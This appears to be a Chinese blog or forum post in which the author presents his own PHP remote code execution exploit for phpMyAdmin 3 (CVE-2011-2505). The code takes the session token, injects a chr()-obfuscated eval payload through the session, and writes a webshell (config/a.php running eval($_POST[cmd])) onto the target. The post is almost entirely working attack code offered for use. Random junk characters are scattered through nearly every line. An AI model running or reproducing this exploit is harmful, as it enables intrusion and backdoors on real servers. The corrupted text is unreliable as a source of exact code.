最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
+ D8 F, u, [/ h X8 K/ d
2 _. i7 a' u1 m/ L( Q7 q* ?昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。5 [8 @& q1 _- ?9 }, k$ [1 \
9 o: @0 Y4 M! Y- ?3 v% S# W首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:4 R8 F1 |, A0 @( h0 U L% Y* S$ Q
一是session.auto_start = 1;" T' L6 ~& X2 n, u! \ M- N: }
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。8 e/ O9 ^9 }+ H. j( X3 s0 Z8 [
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。7 Y9 V# @; E. u& M
+ Y2 G% M2 ~9 D" t" @/ Z; D) L! u
在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
& k% G- p3 \& N2 r- \ N2 T5 H
1 E3 ?4 Y1 S. S% g于是写了这个php版本的exp,代码如下:- f6 T9 x5 h9 w& ]+ K
$ }/ |" P) N2 X2 D& t/ Z
#!/usr/bin/php! A7 k# h8 b3 ]
<?php- o. T' H! }- x3 D, ~0 \" a: g
print_r('6 Z+ f. m5 v* k- |
+---------------------------------------------------------------------------+
2 I- c6 f8 k' s b8 ]. a* tpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]3 u* G; v _. J* i7 j" p% V; x; }9 y
by oldjun(www.oldjun.com)
2 D4 X$ `# m5 c" D5 |welcome to www.t00ls.net" T2 v9 T" i) w- [
mail: oldjun@gmail.com
1 C& A3 o9 @8 {/ s4 ?% W" UAssigned CVE id: CVE-2011-2505( b# n& V$ M: S0 F) e
+---------------------------------------------------------------------------+% r) j2 Z2 Z7 w: I: e: T
');
' i& J" z) Q9 g6 @+ Y
, j0 F0 A+ x& R. v+ }3 {" ?/**
! N7 k* r6 ?; E7 E! U * working when the directory:"config" exists and is writeable.% n2 r! `: L- r0 U- Z
**/
: Q: J- Q8 Q# L( n 3 Y- b' E8 Z Z0 v: [# `
if ($argc < 3) {9 q' }7 T& J: H: d5 ]6 t) _; g
print_r('& \" \$ x; ?$ L( k* `% b5 D) |' Q
+---------------------------------------------------------------------------+
/ J) j3 k, I/ RUsage: php '.$argv[0].' host path
' S) Z. c7 |( B5 l9 t2 dhost: target server (ip/hostname)
5 t q3 K: m( @% o8 U) c( N" wpath: path to pma3
6 H% s. o4 f8 a( BExample:
$ P9 R$ x) c3 z6 o9 F. aphp '.$argv[0].' localhost /pma/$ |" _ r/ g' M/ j
+---------------------------------------------------------------------------++ Q8 d. V2 D5 u. R
'); Y9 V" X) U9 w3 `& x
exit;* e& V- w% f4 E( a- N- Y. W1 |" m' g/ o
}
$ ~( T4 @! F9 M
0 ? C4 T3 k, a$host = $argv[1];
7 H$ u1 y5 g4 w/ {9 o) d$path = $argv[2];
5 M% L9 q/ B/ k% z4 v X$ _+ S7 {. M: \! w: G
/**
6 S5 ~% ?% t% x' X! z( Z2 T * Try to determine if the directory:"config" exists' h! O- }5 H3 v9 F& d
**/
6 d- x% U& D! i' B/ k; ?6 Recho "[+] Try to determine if the directory:config exists....\n";: J6 {4 }1 \5 V! l0 L$ x
$returnstr=php_request('config/');' a+ A' x. `3 s$ P! H' `& i; n8 _
if(strpos($returnstr,'404')){
7 ?) n8 M; n# s% Q' T* v9 B* d* G exit("[-] Exploit Failed! The directory:config do not exists!\n");5 s& Q( p& H* R9 L. ^! L% F
}
4 W" J6 O9 o/ D1 I) J% R4 u H+ D' R! e# D( d1 s m# n# l/ c
/**% M3 g3 U/ @1 o! t
* Try to get token and sessionid) m6 ~2 P3 I3 r
**/
& ]6 i* e0 A: |" Secho "[+] Try to get token and sessionid....\n";
, E# @! L0 L4 ^/ R$result=php_request('index.php');
! m) O9 k% R3 \4 G# z( _preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);- l0 d$ x$ E6 i# M' {. C
$token=$resp[3];
+ ~& U9 }3 }( L# J( o0 Q$ a$ B$sessionid=$resp[1];
7 @: U. N, i8 V. k. {8 oif($token && $sessionid){: |2 b' B$ V1 G4 T9 G9 p# m
echo "[+] token token\n";- M8 k9 ~, G7 H+ k
echo "[+] Session ID sessionid\n";0 D2 L7 i- k( e4 a" S$ L
}else{
9 j' \* }1 @! ~; V* { exit("[-] Can't get token and Session ID,Exploit Failed!\n");
. R3 o6 P# k3 D}/ J- G; L1 G3 f5 }0 k! z
* D/ e0 k* @! ?2 T/**
0 v2 ^% Q' ^8 G" D! T m * Try to insert shell into session. F4 m! v& v( X; R4 l( Q
**/; F r" V! _5 N8 q# t7 s* j9 }* ^
echo "[+] Try to insert shell into session....\n";
3 j* f. g) j+ D( ?$ ]8 ?$ Z O( I7 Mphp_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
' m1 ~: k# ^" n' D* ^& n; P! h- F& s* _
/**
' m' j* B$ r+ y, o- s! t0 U * Try to create webshell: v+ l' O1 l+ W) @
**/" o" @/ R: v3 O3 Y0 }
echo "[+] Try to create webshell....\n";. w, v/ r+ ] {1 L ?/ u2 c' C
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);- s1 q/ I" b9 S3 B V7 {9 w3 C, R
/**
# l* O7 ? e9 a * Try to check if the webshell was created successfully, m, s+ n T' Y3 T: g- v% n
**/7 U- v! _' N* B$ F- J2 Y: N
echo "[+] Try to check if the webshell was created successfully....\n";
% E, x7 a3 g6 K) d0 u' I5 {; ~$ q% ^' X/ J$content=php_request('config/config.inc.php');
( h2 ?( r: s+ S4 S5 I& f8 G4 m! hif(strpos($content,'t00ls')){
: c, K1 N3 c/ D7 J echo "[+] Congratulations! Expoilt successfully....\n";& i4 z% _5 g' z. {( T: M& `8 s
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";& `' x2 K' K3 |& Q! V
}else{) Y% t1 Z( s# `% m$ @
exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
) a; \/ G6 i' {* a& b" R( d7 ?- e}
/ ^6 b9 [" x" K" n- Z; W6 F- b! S& q' Y* p6 B/ w/ [! {( z8 h0 a
function php_request($url,$data='',$cookie=''){2 m2 y& G: `8 ]8 v8 ~
global $host, $path;# D, I9 r8 h5 E0 `
$ K* d" d% C7 [9 H. c
$method=$data?'POST':'GET';1 e) k" |( U4 ]$ C7 G
9 J& o* @; | D8 y9 {
$packet = $method." ".$path.$url." HTTP/1.1\r\n";2 }% X/ j. F3 Y. X% {4 j& N& D: b$ h
$packet .= "Accept: */*\r\n"; Q- Q3 f3 l! K3 w* F8 r Y9 B* w
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
; j# g# c& n6 ]" {3 y% L $packet .= "Host: $host\r\n";; x0 F( Z6 J$ R; Z, j7 A
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
# J |- ]! O/ G- }9 @7 D' ^7 [ $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";0 M6 o: Y- S: C: [% L* a! p7 p5 v
$packet .= $cookie?"Cookie: $cookie\r\n":"";
K% s8 Q! E/ H. v: x/ w; o2 m $packet .= "Connection: Close\r\n\r\n";
( m# i" n J/ H, c $packet .= $data?$data:"";+ w: ^" w, y# T. B+ T3 |3 B
# A; t0 {' W% O8 ^+ M8 R
$fp = fsockopen(gethostbyname($host), 80);
9 A9 {' u5 N7 F- ?8 [" r1 V if (!$fp) {0 C" o# z A9 s+ J' S/ @
echo 'No response from '.$host; die;; K; K9 j2 b: F, G6 N! n3 Z
}
. h( ?7 K$ u& @( p$ V* o5 \1 C fputs($fp, $packet);
" K) b1 a9 E0 X/ }; [& O. G4 q/ N( F& E$ f" j2 A/ p
$resp = '';
* b' R) ?* l5 b! I$ D2 F6 D' y0 H2 x4 a* e1 o
while ($fp && !feof($fp))
# a6 E+ E+ s7 b1 \1 ? $resp .= fread($fp, 1024);7 `0 }' G- a5 g7 [5 x f0 a
. k' l, y9 P0 q5 I M
return $resp;
8 M# `/ v5 e8 H}5 m. p6 G" s) h
/ k f: V' D$ @. E: C P
?> ( X! @8 D( W+ _% g# e
. |